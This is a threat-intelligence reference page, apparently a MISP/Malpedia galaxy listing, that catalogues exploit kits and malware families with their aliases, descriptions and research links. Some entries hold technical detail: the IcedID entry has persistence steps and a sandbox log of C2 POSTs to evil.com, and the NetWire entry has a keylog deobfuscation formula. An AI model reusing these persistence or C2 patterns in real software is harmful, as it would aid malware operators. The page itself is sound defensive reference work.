https://blog.malwarebytes.com/threat-analysis/2014/08/shining-some-light-on-the-unknown-exploit-kit/ |
Impact
Impact EK
Links |
http://malware.dontneedcoffee.com/2012/12/inside-impact-exploit-kit-back-on-track.html |
Infinity
Infinity is an evolution of Redkit
Infinity is also known as:
-
Redkit v2.0
-
Goon
Links |
http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html |
http://www.kahusecurity.com/2014/the-resurrection-of-redkit/ |
Lightsout
Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex
Nebula
Nebula Exploit Kit has been built on Sundown source and features an internal TDS
Links |
http://malware.dontneedcoffee.com/2017/03/nebula-exploit-kit.html |
Neutrino
Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.
Neutrino is also known as:
-
Job314
-
Neutrino Rebooted
-
Neutrino-v
Links |
http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html |
http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html |
Niteris
Niteris was used mainly to target Russian.
Niteris is also known as:
-
CottonCastle
Links |
http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html |
Nuclear
The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack
Nuclear is also known as:
-
NEK
-
Nuclear Pack
-
Spartan
-
Neclu
Links |
Phoenix
Phoenix Exploit Kit
Phoenix is also known as:
-
PEK
Links |
http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html |
Private Exploit Pack
Private Exploit Pack
Private Exploit Pack is also known as:
-
PEP
Links |
http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html |
Redkit
Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic
Sakura
Sakura Exploit Kit appeared in 2012 and was adopted by several big actor
Links |
SPL
SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV
SPL is also known as:
-
SPL_Data
-
SPLNet
-
SPL2
Links |
Sundown
Sundown Exploit Kit is mainly built out of stolen code from other exploit kits
Sundown is also known as:
-
Beps
-
Xer
-
Beta
Links |
http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html |
Sweet-Orange
Sweet Orange
Sweet-Orange is also known as:
-
SWO
-
Anogre
Links |
http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html |
Styx
Styx Exploit Kit
WhiteHole
WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422
Links |
http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html |
Unknown
Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.
Links |
Malpedia
Malware galaxy based on Malpedia archive..
Malpedia is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Daniel Plohmann - Andrea Garavaglia - Davide Arcuri
Quant Loader
Quant Loader is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/ |
Unidentified 049 (Lazarus/RAT)
Unidentified 049 (Lazarus/RAT) is also known as:
Links |
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/ |
HawkEye Keylogger
HawkEye Keylogger is also known as:
-
Predator Pain
Links |
http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html |
Loki
Loki is also known as:
Links |
http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/ |
LokiBot
Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.
LokiBot is also known as:
Links |
https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html |
Unidentified 022 (Ransom)
Unidentified 022 (Ransom) is also known as:
Links |
Wonknu
Wonknu is also known as:
Links |
https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/ |
Remcos
Remcos is also known as:
CradleCore
CradleCore is also known as:
Links |
https://blogs.forcepoint.com/security-labs/cradlecore-ransomware-source-code-sale |
Taleret
Taleret is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html |
http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html |
Poweliks Dropper
Poweliks Dropper is also known as:
Links |
https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users |
Vflooder
Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.
Vflooder is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/ |
Cerber
A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.
Cerber is also known as:
Shim RAT
Shim RAT is also known as:
Links |
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf |
AndroRAT
Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.
AndroRAT is also known as:
Links |
CodeKey
CodeKey is also known as:
Links |
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf |
TinyNuke
TinyNuke is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. The author destroyed his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.
TinyNuke is also known as:
-
Xbot
-
MicroBankingTrojan
-
NukeBot
-
Nuclear Bot
UACMe
A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.
UACMe is also known as:
-
Akagi
Links |
RadRAT
RadRAT is also known as:
Links |
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/ |
Misdat
Misdat is also known as:
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
DreamBot
2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)
In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.
See win.gozi for additional historical information.
DreamBot is also known as:
Links |
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality |
OneKeyLocker
OneKeyLocker is also known as:
Links |
https://twitter.com/malwrhunterteam/status/1001461507513880576 |
BackSwap
BackSwap is also known as:
Links |
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/ |
https://www.cert.pl/en/news/single/backswap-malware-analysis/ |
CryptoFortress
CryptoFortress is also known as:
vSkimmer
vSkimmer is also known as:
Links |
http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis |
GlobeImposter
GlobeImposter is also known as:
Daserf
Daserf is also known as:
-
Nioupale
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Muirim
MajikPos
MajikPos is also known as:
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/ |
ATMitch
ATMitch is also known as:
Links |
https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/ |
ScanPOS
ScanPOS is also known as:
Links |
https://www.morphick.com/resources/news/scanpos-new-pos-malware-being-distributed-kronos |
Quasar RAT
Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.
Quasar RAT is also known as:
Sanny
Sanny is also known as:
-
Daws
Links |
http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html |
Bolek
Bolek is also known as:
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KBOT
Links |
https://asert.arbornetworks.com/communications-bolek-trojan/ |
Dharma
Dharma is also known as:
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Arena
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Crysis
Links |
https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/ |
ModPOS
ModPOS is also known as:
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straxbot
Links |
https://www.fireeye.com/blog/threat-research/2015/11/modpos.html |
https://twitter.com/physicaldrive0/status/670258429202530306 |
Gravity RAT
Gravity RAT is also known as:
SOUNDBITE
SOUNDBITE is also known as:
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denis
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
Datper
Datper is also known as:
Links |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html |
FF RAT
FF RAT is also known as:
Links |
https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html |
CycBot
CycBot is also known as:
Links |
https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/ |
pupy
pupy is also known as:
Links |
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations |
AlphaLocker
A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.
AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware’s author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.
AlphaLocker’s encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user’s computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.
To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.
AlphaLocker is also known as:
Links |
Unidentified 050 (APT32 Profiler)
Unidentified 050 (APT32 Profiler) is also known as:
Links |
https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f |
RapidStealer
RapidStealer is also known as:
Links |
http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html |
WaterSpout
WaterSpout is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
Brambul
Brambul is also known as:
Links |
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/ |
SHARPKNOT
SHARPKNOT is also known as:
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Bitrep
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf |
StrongPity
StrongPity is also known as:
Links |
https://twitter.com/physicaldrive0/status/786293008278970368 |
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/ |
Furtim
Furtim is also known as:
Links |
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341&sid=af76b944112a234fa933cc934d21cd9f |
pgift
Information gathering and downloading tool used to deliver second stage malware to the infected system
pgift is also known as:
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ReRol
Links |
Combos
Combos is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Sinowal
Sinowal is also known as:
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Quarian
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Mebroot
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Anserin
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Theola
nRansom
nRansom is also known as:
RedAlert2
RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.
RedAlert2 is also known as:
Links |
https://clientsidedetection.com/new_android_trojan_targeting_over_60_banks_and_social_apps.html |
Qadars
Qadars is also known as:
Jimmy
Jimmy is also known as:
Links |
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/ |
X-Agent
X-Agent is also known as:
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fysbis
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splm
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chopstick
Kronos
Kronos is also known as:
WebC2-Bolid
WebC2-Bolid is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Mirai
Mirai is also known as:
PandaBanker
According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.
This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.
The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.
Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.
PandaBanker is also known as:
-
ZeusPanda
SmokeLoader
The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
SmokeLoader is also known as:
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Dofoil
Links |
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html |
https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo |
Andromeda
Andromeda is also known as:
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Gamarue
-
B106-Gamarue
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B67-SS-Gamarue
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b66
DE Loader
DE Loader is also known as:
Links |
https://blogs.forcepoint.com/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks |
CrashOverride
CrashOverride is also known as:
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Crash
-
Industroyer
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf |
Dyre
Dyre is also known as:
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Dyreza
Links |
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/ |
Xtreme RAT
Xtreme RAT is also known as:
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ExtRat
IcedID Downloader
IcedID Downloader is also known as:
MalumPOS
MalumPOS is also known as:
Links |
http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf |
Banatrix
Banatrix is also known as:
Links |
https://www.cert.pl/en/news/single/banatrix-an-indepth-look/ |
UPAS
UPAS is also known as:
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Rombrast
Links |
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html |
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/ |
Imminent Monitor RAT
Imminent Monitor RAT is also known as:
Links |
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/ |
CryptXXXX
CryptXXXX is also known as:
Links |
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/ |
LatentBot
LatentBot is also known as:
MirageFox
MirageFox is also known as:
Links |
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/ |
Joao
Joao is also known as:
Links |
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/ |
GlanceLove
GlanceLove is also known as:
NetWire RC
Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.
Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:
for i in range(0,num_read): buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
NetWire RC is also known as:
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Recam
GetMyPass
GetMyPass is also known as:
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getmypos
jRAT
jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.
jRAT is also known as:
-
Jacksbot
Links |
https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered |
Solarbot
Solarbot is also known as:
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Napolar
Links |
https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/ |
CoinThief
CoinThief is also known as:
Links |
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed |
VM Zeus
VM Zeus is also known as:
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VMzeus
-
ZeusVM
-
Zberp
Links |
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/ |
https://asert.arbornetworks.com/wp-content/uploads/2015/08/ZeusVM_Bits_and_Pieces.pdf |
SocksBot
SocksBot is also known as:
Links |
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
Emdivi
Emdivi is also known as:
Satan Ransomware
Satan Ransomware is also known as:
Microcin
Microcin is also known as:
Links |
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/ |
https://cdn.securelist.com/files/2017/09/Microcin_Technical_4PDF_eng_final_s.pdf |
MysteryBot
MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.
MysteryBot is also known as:
Links |
https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html[https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html] |
FakeDGA
According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.
There seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API).
FakeDGA is also known as:
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WillExec
Links |
http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html |
IcedID
Analysis Observations:
-
It sets up persistence by creating a Scheduled Task with the following characteristics:
-
Name: Update
-
Trigger: At Log on
-
Action: %LocalAppData%\$Example\\waroupada.exe /i
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Conditions: Stop if the computer ceases to be idle.
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The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
-
The filename remained static during analysis.
-
The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
-
If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
-
If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
-
Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
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Setup a local listener to proxy traffic on 127.0.0.1:50000
[Example Log from C2 Network Communication] [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
IcedID is also known as:
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BokBot
TreasureHunter
TreasureHunter is also known as:
-
huntpos
Links |
https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html |
https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/ |
Ratty
Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.
Ratty is also known as:
Links |
Terminator RAT
Terminator RAT is also known as:
-
Fakem RAT
Connic
Connic is also known as:
-
SpyBanker
Links |
https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/ |
Elise
Elise is also known as:
Links |
https://www.accenture.com/t20180127T003755Zw/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Zw/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf] |
https://securelist.com/blog/research/70726/the-spring-dragon-apt/ |
August Stealer
August Stealer is also known as:
Links |
https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html |
Cutlet
Cutlet is also known as:
Links |
http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html |
Qarallax RAT
According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).
Qarallax RAT is also known as:
shareip
shareip is also known as:
-
remotecmd
Links |
https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
Virut
Virut is also known as:
Links |
https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/ |
KopiLuwak
KopiLuwak is also known as:
Links |
https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/ |
Bahamut
Bahamut is also known as:
Links |
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/ |
Fobber
Fobber is also known as:
Nemim
Nemim is also known as:
Links |
https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf |
Svpeng
Svpeng is also known as:
Links |
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/ |
WebC2-Head
WebC2-Head is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Keydnap
Keydnap is also known as:
Links |
http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ |
Saphyra
Saphyra is also known as:
Links |
https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/ |
Geodo
Geodo is also known as:
-
Emotet
-
Heodo
Snifula
Snifula is also known as:
-
Ursnif
Links |
https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf |
Hi-Zor RAT
Hi-Zor RAT is also known as:
Links |
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat |
Crimson
Crimson is also known as:
Links |
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF |
Retefe
The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim’s phone doesn’t get infected.
Retefe is also known as:
FlashBack
FlashBack is also known as:
FakeTC
FakeTC is also known as:
Links |
http://www.welivesecurity.com/2015/07/30/operation-potao-express/ |
Matsnu
Matsnu is also known as:
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/07/matsnu-malwareid-technical-brief.pdf |
Sierra(Alfa,Bravo, …)
Sierra(Alfa,Bravo, …) is also known as:
-
Destover
Links |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
IISniff
IISniff is also known as:
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/ |
Stuxnet
Stuxnet is also known as:
Links |
http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html |
Tinba
Tinba is also known as:
-
Zusy
-
Illi
-
TinyBanker
GrabBot
GrabBot is also known as:
Links |
http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data |
Duuzer
Duuzer is also known as:
Links |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
Eye Pyramid
Eye Pyramid is also known as:
Links |
https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/ |
DarkPulsar
DarkPulsar is also known as:
Links |
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/ |
GalaxyLoader
GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.
It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct
GalaxyLoader is also known as:
Links |
StarsyPound
StarsyPound is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
MacDownloader
MacDownloader is also known as:
Links |
https://iranthreats.github.io/resources/macdownloader-macos-malware/ |
ISR Stealer
ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.
Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public
ISR Stealer is also known as:
Links |
DoublePulsar
DoublePulsar is also known as:
CenterPOS
CenterPOS is also known as:
-
cerebrus
Links |
https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html |
FlexiSpy
FlexiSpy is also known as:
Links |
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/ |
WebC2-Rave
WebC2-Rave is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
GROK
GROK is also known as:
Links |
https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf |
Enfal
Enfal is also known as:
-
Lurid
Sys10
Sys10 is also known as:
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Schneiken
Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.
Schneiken is also known as:
Links |
https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb |
ZoxPNG
ZoxPNG is also known as:
-
gresim
Links |
http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf |
Arik Keylogger
Arik Keylogger is also known as:
-
Aaron Keylogger
Links |
https://www.invincea.com/2016/09/crimeware-as-a-service-goes-mainstream/ |
Bitsran
Bitsran is also known as:
Links |
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html |
Retefe
Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It’s primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.
Retefe is also known as:
-
Werdlod
-
Tsukuba
Links |
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/ |
PowerRatankba
PowerRatankba is also known as:
Links |
https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/ |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
Zebrocy (AutoIT)
Zebrocy (AutoIT) is also known as:
Links |
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ |
Darksky
DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.
Darksky is also known as:
Links |
NetTraveler
NetTraveler is also known as:
-
TravNet
